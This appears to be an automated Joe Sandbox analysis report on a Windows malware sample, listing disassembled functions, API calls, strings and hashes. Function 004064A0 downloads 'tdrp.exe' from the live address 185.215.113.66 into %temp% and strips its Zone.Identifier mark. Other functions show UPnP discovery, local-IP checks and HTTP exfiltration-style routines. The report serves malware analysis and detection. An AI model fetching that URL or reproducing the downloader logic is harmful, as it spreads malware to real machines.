Opcode ID: 1320f0edb417db05ac7b6e59eda74473c88091b903de4ca17509dc3647de578b
Instruction ID: 1975aeac9676e101a2f9df26b0893873e865047fe5e1fa68f0a59d9663d47833
Opcode Fuzzy Hash: 1320f0edb417db05ac7b6e59eda74473c88091b903de4ca17509dc3647de578b
Instruction Fuzzy Hash: EB81DBB1900314ABE720DB50DC45FE93379AF88701F0485B9F609A51D1DBBD9AC8CF69

Function 004064A0 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 111
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004064A9
srand.MSVCRT ref: 004064B0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 004064D0
rand.MSVCRT ref: 004064D6
rand.MSVCRT ref: 004064EA
wsprintfW.USER32 ref: 0040650F
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00406525
InternetOpenUrlW.WININET(00000000,http://185.215.113.66/tdrp.exe,00000000,00000000,00000000,00000000), ref: 00406552
CreateFileW.KERNEL32(00415BA8,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040657F
InternetReadFile.WININET(00000000,?,00000103,?), ref: 004065B2
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 004065E3
CloseHandle.KERNEL32(000000FF), ref: 004065F2
wsprintfW.USER32 ref: 00406609
DeleteFileW.KERNEL32(?), ref: 00406619
CloseHandle.KERNEL32(000000FF), ref: 0040662D
InternetCloseHandle.WININET(00000000), ref: 0040663A
InternetCloseHandle.WININET(00000000), ref: 00406647

Strings

.#v, xrefs: 004065F2, 0040662D
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 00406520
%s:Zone.Identifier, xrefs: 004065FD
%s\%d%d.exe, xrefs: 00406505
http://185.215.113.66/tdrp.exe, xrefs: 00406546
%temp%, xrefs: 004064CB

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Openrandwsprintf$CountCreateDeleteEnvironmentExpandReadStringsTickWritesrand
String ID: %s:Zone.Identifier$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$http://185.215.113.66/tdrp.exe$.#v
API String ID: 2816847299-151917633
Opcode ID: b747dd0fc59dfde576c8c27ad5e268025f255cbc5a09298799a3dfcc346330de
Instruction ID: 1fb007f132407df9fd1c0735e7405706d6c761cf3eec079010f6fac199ffc060
Opcode Fuzzy Hash: b747dd0fc59dfde576c8c27ad5e268025f255cbc5a09298799a3dfcc346330de
Instruction Fuzzy Hash: 524194B4A41318BBD7209B60DC4DFDA7774AB48701F1085E5F60AB61D1DABD6AC0CF28

Function 0040B850 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B780: gethostname.WS2_32(?,00000100), ref: 0040B79C
Part of subcall function 0040B780: gethostbyname.WS2_32(?), ref: 0040B7AE

strcmp.NTDLL ref: 0040B880

Strings

.192., xrefs: 0040B92C
.127., xrefs: 0040B8CD
.10, xrefs: 0040B96D
0.0.0.0, xrefs: 0040B86E
.10., xrefs: 0040B98B
127., xrefs: 0040B891
.127, xrefs: 0040B8AF
.192, xrefs: 0040B90E
10., xrefs: 0040B94F
192., xrefs: 0040B8F0

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: d6ab6244daa99f352ff27f4ac61a156b87516d70ae34b11a0156eb07d3042b9e
Instruction ID: 8d4abfb17ef92fbeb3a58b36540fc168dced5822f8e8c36773a64fbd4adfcb3b
Opcode Fuzzy Hash: d6ab6244daa99f352ff27f4ac61a156b87516d70ae34b11a0156eb07d3042b9e
Instruction Fuzzy Hash: 826181B5A00205ABDB00AFA1FC46B9A3665EB50318F14847AE805B73C1EB7DE554CBDE

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

ilci, xrefs: 004019E1
PCOI, xrefs: 0040198A

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: d8b23688097d5b99dadb860a55cedc453d5f8d353fdf8d3fa83597af6fbeb7f2
Instruction ID: 80b39a6ab1993389b90647d5cb6895440bceaa9a0d1ea8ab9cba8154187b69d5
Opcode Fuzzy Hash: d8b23688097d5b99dadb860a55cedc453d5f8d353fdf8d3fa83597af6fbeb7f2
Instruction Fuzzy Hash: A7411771601201ABCB20DF74DC8CB9B77A9AF44720F04863DF855A72E1DB78E985CB99

Function 0040EF70 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040EF98
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EFE8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EFFB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040F034
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040F06A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040F095
HttpSendRequestA.WININET(00000000,004126B0,000000FF,00009E34), ref: 0040F0BF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040F0FE
memcpy.NTDLL(00000000,?,00000000), ref: 0040F150
InternetCloseHandle.WININET(00000000), ref: 0040F181
InternetCloseHandle.WININET(00000000), ref: 0040F18E
InternetCloseHandle.WININET(00000000), ref: 0040F19B

Strings

POST, xrefs: 0040F05E
<, xrefs: 0040EFA0
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EFF6

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction ID: ef1808732392904e9289ee89b59ca4b2c464bfe5f798c53c6f33b23f739279b9
Opcode Fuzzy Hash: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction Fuzzy Hash: 40510AB5A01228ABDB36CF54DC54BDA73BCAB48705F1081E9B50DAA280D7B96FC4CF54

Function 00401600 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

PCOI, xrefs: 0040160D
ilci, xrefs: 00401630
.#v, xrefs: 004016FF

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci$.#v
API String ID: 2403999931-387814812
Opcode ID: 8d3037cf696ecd8756279fad8891fdfc713d08fe7f166539a7d0865b035c0410
Instruction ID: 00719830d96ac068de130eecfd85e1b44ef6fd60ec2c55820453df0d9b8f54e2
Opcode Fuzzy Hash: 8d3037cf696ecd8756279fad8891fdfc713d08fe7f166539a7d0865b035c0410
Instruction Fuzzy Hash: B731A671900705ABC710AF70EC48B97B7B8BF09300F048A2AE569A7691D779F894CB98

Function 004058C0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 004058D8
GetModuleHandleW.KERNEL32(00000000), ref: 004058F0
Sleep.KERNEL32(00000001), ref: 00405904
GetTickCount.KERNEL32 ref: 0040590A
GetTickCount.KERNEL32 ref: 00405913
wsprintfW.USER32 ref: 00405926
RegisterClassExW.USER32(00000030), ref: 00405933
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040595C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00405977
TranslateMessage.USER32(?), ref: 00405985
DispatchMessageA.USER32(?), ref: 0040598F
ExitThread.KERNEL32 ref: 004059A1

Strings

%x%X, xrefs: 0040591A
0, xrefs: 004058E0

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction ID: bd9536bbadbf21864e97b89de5b907373c0f6f38ddabaab6f1c3dd09ba998754
Opcode Fuzzy Hash: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction Fuzzy Hash: C7211AB1940308FBEB109BA0DD49FEE7B78EB04711F14852AF601BA1D0DBB99544CF69

Function 0040E640 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040E668
InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E7FA
InternetCloseHandle.WININET(00000000), ref: 0040E837
InternetCloseHandle.WININET(00000000), ref: 0040E844
InternetCloseHandle.WININET(00000000), ref: 0040E851

Strings

GET, xrefs: 0040E72B
<, xrefs: 0040E670

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction ID: bd69c55cfb2b9f93b8bf7ceaaaaaf86fc3309545456039a657a23fe3286800e0
Opcode Fuzzy Hash: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction Fuzzy Hash: F75109B1A41228ABDB36DB50CC55BE973BCAB44705F0484E9E60DAA2C0D7B96BC4CF54

Function 0040F240 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 144fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040F272
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040F293
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040F2B2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F2CB
memcmp.NTDLL ref: 0040F35D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040F380
CloseHandle.KERNEL32(00000000), ref: 0040F38A
CloseHandle.KERNEL32(000000FF), ref: 0040F394
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F3B3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040F3D8
CloseHandle.KERNEL32(000000FF), ref: 0040F3E2

Strings

.#v, xrefs: 0040F38A, 0040F394, 0040F3E2

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID: .#v
API String ID: 3902698870-507759092
Opcode ID: 397832f4b3c545954de9817604727ce70a7a27c44a74f567f7741af6b4247064
Instruction ID: 91565a6fedc79cda49cfd97bae5198494bb6489b7e374c7f74ac69d8e3e388a5
Opcode Fuzzy Hash: 397832f4b3c545954de9817604727ce70a7a27c44a74f567f7741af6b4247064
Instruction Fuzzy Hash: 75514BB4E40308FBDB24DBA4CC49F9EB774AB48304F108569F611B72C0D7B9AA44CB98

Function 0040DD50 Relevance: 16.6, APIs: 11, Instructions: 95threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0040DD56
GetThreadPriority.KERNEL32(00000000,?,?,?,00408480,?,000000FF), ref: 0040DD5D
GetCurrentThread.KERNEL32 ref: 0040DD68
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480,?,000000FF), ref: 0040DD6F
InterlockedExchangeAdd.KERNEL32(00408480,00000000), ref: 0040DD92
EnterCriticalSection.KERNEL32(000000FB), ref: 0040DDC7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040DE12
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040DE2E
Sleep.KERNEL32(00000001), ref: 0040DE5E
GetCurrentThread.KERNEL32 ref: 0040DE6D
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480), ref: 0040DE74

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction ID: 15ec6ce41066bd2df298828df26a4308ea05a03792f046612c1f6ffbd780898a
Opcode Fuzzy Hash: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction Fuzzy Hash: 1B412C74E00209DBDB04DFE4D844BAEBB71FF54315F108169E916AB381D7789A84CF99

Function 0040BC70 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(004165F8,?,?,?,?,?,?,00408403), ref: 0040BC7B
CreateFileW.KERNEL32(004163E0,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040BCCD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040BCEE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040BD0D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040BD22
UnmapViewOfFile.KERNEL32(00000000), ref: 0040BD88
CloseHandle.KERNEL32(00000000), ref: 0040BD92
CloseHandle.KERNEL32(000000FF), ref: 0040BD9C

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Strings

.#v, xrefs: 0040BD92, 0040BD9C

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: .#v
API String ID: 439099756-507759092
Opcode ID: 95b7ad4b48b2612a2ac74941d1961fd8d23959eee21eec156b7f746c57c5f411
Instruction ID: 789285c27e92e60cc42243599a26330008c438e37824d2da8ff51af530b364ad
Opcode Fuzzy Hash: 95b7ad4b48b2612a2ac74941d1961fd8d23959eee21eec156b7f746c57c5f411
Instruction Fuzzy Hash: 0F413A74E40309EBDB10EBA4DC4ABAEB774EB44705F20856AF6117A2C1C7B96941CB9C

Function 00405C00 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00415B88,?,?,?,?,?,004083CD), ref: 00405C0B
CreateFileW.KERNEL32(00415FC8,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,004083CD), ref: 00405C25
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405C46
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405C65
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405C7E
UnmapViewOfFile.KERNEL32(00000000), ref: 00405D0B
CloseHandle.KERNEL32(00000000), ref: 00405D15
CloseHandle.KERNEL32(000000FF), ref: 00405D1F

Strings

.#v, xrefs: 00405D15, 00405D1F

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID: .#v
API String ID: 3956458805-507759092
Opcode ID: d5d83b1f14bbe53c7a306cab709472362fb8432e959898be764c548cb6fd93a9
Instruction ID: 999418e1eeb904d95552c7fd1475d0c30f1e1fd8627807f9f1e65d0b0efdc9c4
Opcode Fuzzy Hash: d5d83b1f14bbe53c7a306cab709472362fb8432e959898be764c548cb6fd93a9
Instruction Fuzzy Hash: DE310E74E40209EBDB14DBA4DC49FAFB774EB48700F20856AE6017B2C0D7B96941CF99

Function 004060A0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415B88,00000000,0040C2A2,006A0266,?,0040C2BE,00000000,0040D66C,?), ref: 004060AF
memcpy.NTDLL(?,00000000,00000100), ref: 00406141
CreateFileW.KERNEL32(00415FC8,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00406265
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 004062C7
FlushFileBuffers.KERNEL32(000000FF), ref: 004062D3
CloseHandle.KERNEL32(000000FF), ref: 004062DD
LeaveCriticalSection.KERNEL32(00415B88,?,?,?,?,?,?,0040C2BE,00000000,0040D66C,?), ref: 004062E8

Strings

.#v, xrefs: 004062DD

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID: .#v
API String ID: 1457358591-507759092
Opcode ID: e72a487dce04114ef622edc0900d7397c89588e022fce289eeb1184eb778240f
Instruction ID: a605c5c2860c2acc1241a09a2373603bf375adc509756cd8cb030c585388e075
Opcode Fuzzy Hash: e72a487dce04114ef622edc0900d7397c89588e022fce289eeb1184eb778240f
Instruction Fuzzy Hash: D171BCB4E042099FCB04DF94D981FEFB7B1AF88304F14816DE506AB381D779A951CBA9

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction ID: f2cbb4ded8662be063e38a6044f3a63d93470e371ff4fbf655dea468244fd3f8
Opcode Fuzzy Hash: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction Fuzzy Hash: 4F51B075608702ABC704DF29D888B9BFBE5BF88314F40862EF85D93360D774A545CB96

Function 0040E310 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Sleep.KERNEL32(000003E8), ref: 0040E36E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

LOCATION: , xrefs: 0040E395
HTTP/1.1 200 OK, xrefs: 0040E37F

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
